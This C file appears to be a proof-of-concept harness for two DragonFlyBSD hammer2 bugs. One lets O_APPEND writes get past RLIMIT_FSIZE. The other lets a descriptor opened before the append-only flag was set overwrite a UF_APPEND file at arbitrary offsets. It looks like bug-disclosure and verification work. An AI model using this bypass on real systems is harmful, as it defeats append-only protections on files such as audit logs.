DF-5818 / append_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * DF-5817 + DF-5818 PoC harness for DragonFlyBSD hammer2_vnops.c * * TEST 1 (DF-5817): RLIMIT_FSIZE vs O_APPEND * - create file of 2 MiB while rlimit is infinite * - setrlimit(RLIMIT_FSIZE, 1 MiB) * - open(O_WRONLY|O_APPEND) (fresh fd, f_offset == 0) * - write() -> UFS: -1/EFBIG (+SIGXFSZ) hammer2 BUG: returns n * - control: plain O_WRONLY fd, lseek >= limit, write -> EFBIG on both * * TEST 2 (DF-5818): chflags uappnd (append-only) not enforced on write * - file "AAAABBBBCCCC", chflags(path, UF_APPEND) * - pwrite(fd, "XXXX", 4, 0) -> UFS: -1/EPERM hammer2 BUG: returns 4 * - lseek(fd,0)+write("YYYY") -> UFS EPERM (offset!=EOF), hammer2 BUG: ok * - read content back: overwritten bytes prove integrity violation */ #include <sys/types.h> #include <sys/stat.h> #include <sys/resource.h> #include <sys/uio.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static char buf[8192]; static int xfsz_seen; static void onxfsz(int sig) { xfsz_seen = 1; } static long long fsiz(const char *p) { struct stat st; if (stat(p, &st) == 0) return (long long)st.st_size; return (-1); } int main(int argc, char **argv) { const char *path; int fd, fd2, n; ssize_t r; struct rlimit rl; char rd[32]; if (argc != 2) { fprintf(stderr, "usage: %s <file-on-filesystem>\n", argv[0]); exit(2); } path = argv[1]; signal(SIGXFSZ, onxfsz); printf("== TEST 1: RLIMIT_FSIZE vs O_APPEND ==\n"); unlink(path); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("create"); exit(2); } memset(buf, 'A', sizeof(buf)); for (n = 0; n < 2 * 1024 * 1024 / 8192; n++) { if (write(fd, buf, 8192) != 8192) { perror("prefill"); exit(2); } } close(fd); printf("prefill: size=%lld\n", fsiz(path)); rl.rlim_cur = 1024 * 1024; /* 1 MiB */ rl.rlim_max = RLIM_INFINITY; if (setrlimit(RLIMIT_FSIZE, &rl) < 0) { perror("setrlimit"); exit(2); } printf("rlimit_fsize = 1MiB, file already 2MiB\n"); /* fresh O_APPEND fd: f_offset == 0, kernel overrides to EOF on write */ fd = open(path, O_WRONLY | O_APPEND); if (fd < 0) { perror("open append"); exit(2); } xfsz_seen = 0; r = write(fd, buf, 4096); printf("append-write(4096): ret=%zd errno=%d sigxfsz=%d size=%lld\n", r, r < 0 ? errno : 0, xfsz_seen, fsiz(path)); printf(" -> %s\n", (r == 4096) ? "BUG: BYPASSED rlimit (write past " "RLIMIT_FSIZE accepted, no SIGXFSZ)" : (r < 0 && errno == EFBIG) ? "OK: EFBIG (limit enforced)" : "OTHER"); /* repeatable via lseek(0) to reset f_offset used by the check */ if (lseek(fd, 0, SEEK_SET) == 0) { xfsz_seen = 0; r = write(fd, buf, 4096); printf("append-write after lseek(0): ret=%zd errno=%d " "sigxfsz=%d size=%lld\n", r, r < 0 ? errno : 0, xfsz_seen, fsiz(path)); } close(fd); /* control: non-append write at offset >= limit must EFBIG everywhere */ fd = open(path, O_WRONLY); if (fd < 0) { perror("open plain"); exit(2); } if (lseek(fd, 2 * 1024 * 1024, SEEK_SET) < 0) perror("lseek ctl"); xfsz_seen = 0; r = write(fd, buf, 256); printf("control plain-write@2MiB: ret=%zd errno=%d sigxfsz=%d\n", r, r < 0 ? errno : 0, xfsz_seen); printf(" -> %s\n", (r < 0 && errno == EFBIG) ? "OK: limit enforced for non-append" : "UNEXPECTED"); close(fd); rl.rlim_cur = RLIM_INFINITY; setrlimit(RLIMIT_FSIZE, &rl); /* restore for test 2 */ printf("== TEST 2: chflags UF_APPEND (append-only) enforcement ==\n"); printf("(fd opened BEFORE the flag is set; kernel open-gate cannot\n" " retroactively apply O_APPEND to an existing descriptor)\n"); unlink(path); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("create2"); exit(2); } if (write(fd, "AAAABBBBCCCC", 12) != 12) { perror("write2"); exit(2); } if (chflags(path, UF_APPEND) < 0) { perror("chflags uappnd"); exit(2); } printf("chflags(UF_APPEND) ok (file held open rw since before)\n"); r = pwrite(fd, "XXXX", 4, 0); printf("pwrite@0 on uappnd via pre-opened fd: ret=%zd errno=%d\n", r, r < 0 ? errno : 0); printf(" -> %s\n", (r == 4) ? "BUG: BYPASSED append-only " "(arbitrary-offset write accepted)" : (r < 0 && errno == EPERM) ? "OK: EPERM" : "OTHER"); if (lseek(fd, 4, SEEK_SET) >= 0) { r = write(fd, "YYYY", 4); printf("write@4 on uappnd: ret=%zd errno=%d\n", r, r < 0 ? errno : 0); } close(fd); fd2 = open(path, O_RDONLY); if (fd2 >= 0) { memset(rd, 0, sizeof(rd)); r = read(fd2, rd, 12); close(fd2); printf("content now: [%.12s] (%zd bytes)\n", rd, r); printf(" -> %s\n", (memcmp(rd, "AAAABBBBCCCC", 12) == 0) ? "OK: content untouched" : "BUG: append-only file content MODIFIED at non-EOF"); } chflags(path, 0); unlink(path); return (0); } |